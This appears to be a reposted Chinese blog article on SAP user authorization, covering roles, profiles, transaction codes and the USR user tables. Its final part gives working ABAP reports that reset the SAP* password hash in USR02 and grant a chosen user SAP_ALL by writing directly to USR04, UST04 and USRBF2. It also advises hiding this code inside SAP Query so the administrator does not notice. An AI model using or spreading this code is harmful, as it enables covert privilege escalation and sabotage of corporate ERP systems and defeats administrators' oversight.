您的位置:首页 > 其它

SAP 用户权限探微

2008-05-31 07:45 369 查看

SAP 用户权限解剖

通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profile name,而且,SU01时用户有profile 和role两栏位。

这些个profile name ,profile,role它们的关系如何呢?profile 这个英语词义是很丰富的,在中文中难找对应的表示同等语义的词语。

一基本概念.

1.activity

activity,活动,类如insert, update,display等等,

这些activity由当年德国开发者设计在tobj表中。

activity 也是可分activity group。如果上升到方法论,我们不难发现,分类始终是人类认识和管理事物的卓越思想和强大手段。

2.activity category &Authorization group

Role Vs Profile

我们可以看看表T020,那里分出好多K,D, A, M什么的,学习比较一下就清楚了.

profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--你可使用OBA7填写,

权限太细并非好事,和activity组成)的一个集合的名字,通常一个自定义的role产

生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.

role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个

用户,我没有任何role,但是加如SAP_All profile

也是可做任何事情.

SAP本身有很多default role & profile.

3.最常用的PFCG->authorizations->change authorization data->

进入后选取selection criteria 可看到所有的authorization object

manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就

知道缺少哪个authorization objec,然后手工加入就可以.

你选去authorization levels就可by account type再细分权限.

有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.

二、实现机制

SAP是如何做到权限控制?下面是一些研究结论。

4.关于权限方面的几个t-code.

(一)Role(角色)相关T-code:

PFAC 标准

PFAC_CHG 改变

PFAC_DEL 删除

PFAC_DIS 显示

PFAC_INS 新建

PFAC_STR

PFCG 创建

ROLE_CMP 比较

SUPC 批量建立角色profile

SWUJ 测试

SU03 检测authorzation data

SU25, SU26 检查updated profile

(二)建立用户相关T-code:

SU0

SU01

SU01D

SU01_NAV

SU05

SU50, Su51, SU52

SU1

SU10 批量

SU12 批量

SUCOMP:维护用户公司地址

SU2 change用户参数

SUIM 用户信息系统

用户组

SUGR:维护

SUGRD:显示

SUGRD_NAV:还是维护

SUGR_NAV:还是显示

(三)关于profile&Authoraztion Data

SU02:直接创建profile不用role

SU20:细分Authorization Fields

SU21(SU03):****维护Authorization Objects(TOBJ,USR12).

对于凭证你可细分到:

F_BKPF_BED: Accounting Document: Account Authorization for Customers

F_BKPF_BEK: Accounting Document: Account Authorization for Vendors

F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts

F_BKPF_BLA: Accounting Document: Authorization for Document Types

F_BKPF_BUK: Accounting Document: Authorization for Company Codes

F_BKPF_BUP: Accounting Document: Authorization for Posting Periods

F_BKPF_GSB: Accounting Document: Authorization for Business Areas

F_BKPF_KOA: Accounting Document: Authorization for Account Types

F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy

然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.

对具体transaction code细分:

SU22,SU24

SU53:*** 就是你出错用来检查没有那些authoraztion objects.

SU56:分析authoraztion data buffers.

SU87:用来检查用户改变产生的history

SU96,SU97,SU98,SU99:干啥的?

SUPC:批量产生role

DB和logical层:

SUKRI:Transaction Combinations Critical for Security

tables:

TOBJ : All avaiable authorzation objects.(全在此)

USR12: 用户级authoraztion值

-----------------------------

USR01:主数据

USR02:密码在此

USR04:授权在此

USR03:User address data

USR05:User Master Parameter ID

USR06:Additional Data per User

USR07:Object/values of last authorization check that failed

USR08:Table for user menu entries

USR09:Entries for user menus (work areas)

USR10:User master authorization profiles

USR11:User Master Texts for Profiles (USR10)

USR12:User master authorization values

USR13:Short Texts for Authorizations

USR14:Surchargeable Language Versions per User

USR15:External User Name

USR16:Values for Variables for User Authorizations

USR20:Date of last user master reorganization

USR21:Assign user name address key

USR22:Logon data without kernel access

USR30:Additional Information for User Menu

USR40:Table for illegal passwords

USR41:当前用户

USREFUS:

USRBF2

USRBF3

UST04:User Profile在此

UST10C: Composite profiles

UST10S: Single profiles (角色对应的

UST12 : Authorizations..............................

三、权限进阶

用户:

User type用户类型(干啥用的不讲):

通常的用户类型有

a.dialog (就是normal user)

b.communication

c.system

d.service

e.reference.

通常你在使用任何T-code前一定会有权限检测的.

AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.

**如果coding只要使用此函数就够了.

AUTHORITY_CHECK_TCODE:检查T-code

这倆函数是真正检查autorization objects的.

SUSR_USER_AUTH_FOR_OBJ_GET:

AUTHORIZATION_DATA_READ_SELOBJ:

------------------------------------------

将SAP*的密码改成123的程序,很简单.

我们找到那个user logon表USR02.

(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)

report zmodSAP*.

data zUSR02 like USR02 .

select single * into zUSR02 from USR02

where BNAME = 'SAP*'.

zUSR02-Bcode = 'DF52478E6FF90EEB' .

Update USR02 from zUSR02 .

现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个

query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...

这样做太狠毒了.还是自己偷偷搞自己的用户吧.

在此你必须对权限结构非常清晰.

权限和三个表有关系.

a.USR04

b.USR04

c.USRBF2 这个表是对应到所用的authorzization objects的.

*&---------------------------------------------------------------------*

*& Report : Steal SAP ALL Right *

*& Creation Date : 2004.04.01 *

*& Created by : Stone.Fu *

*& Description : 可窃取SAP ALL权限 *

*& Modified Date : 2005.11.02

*& Description : 将此code hide在report painter or query code *

*&---------------------------------------------------------------------*

report zrightsteal.

data zUSR04 like USR04 . "????????work area??

data zUST04 like USR04 .

data zPROFS like USR04-PROFS.

data ZUSRBF2 like USRBF2 occurs 0 with header line.

"USRBF2?????internal table

** Update Authorization table USR04.

select single * into zUSR04 from USR04

where BNAME = 'ZABC2'. "SAP All 权限

move 'C SAP_ALL' to zPROFS .

ZUSR04-NRPRO = '14'.

zUSR04-PROFS = zPROFS.

Update USR04 from zUSR04 .

**Update User authorization masters table UST04 .

select single * into zUST04 from UST04

where BNAME = 'ZABC2'.

zUST04-PROFILE = 'SAP_ALL'. "SAP all 权限

Update UST04 from zUST04 .

*?????insert

*ZUST04-MANDT = '200'.

*ZUST04-BNAME = 'ZABC2'.

*ZUST04-PROFILE = 'SAP_ALL'.

*Insert UST04 from ZUST04 .

select * from USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

Loop at ZUSRBF2.

ZUSRBF2-BNAME = 'ZABC2'.

Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.

然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: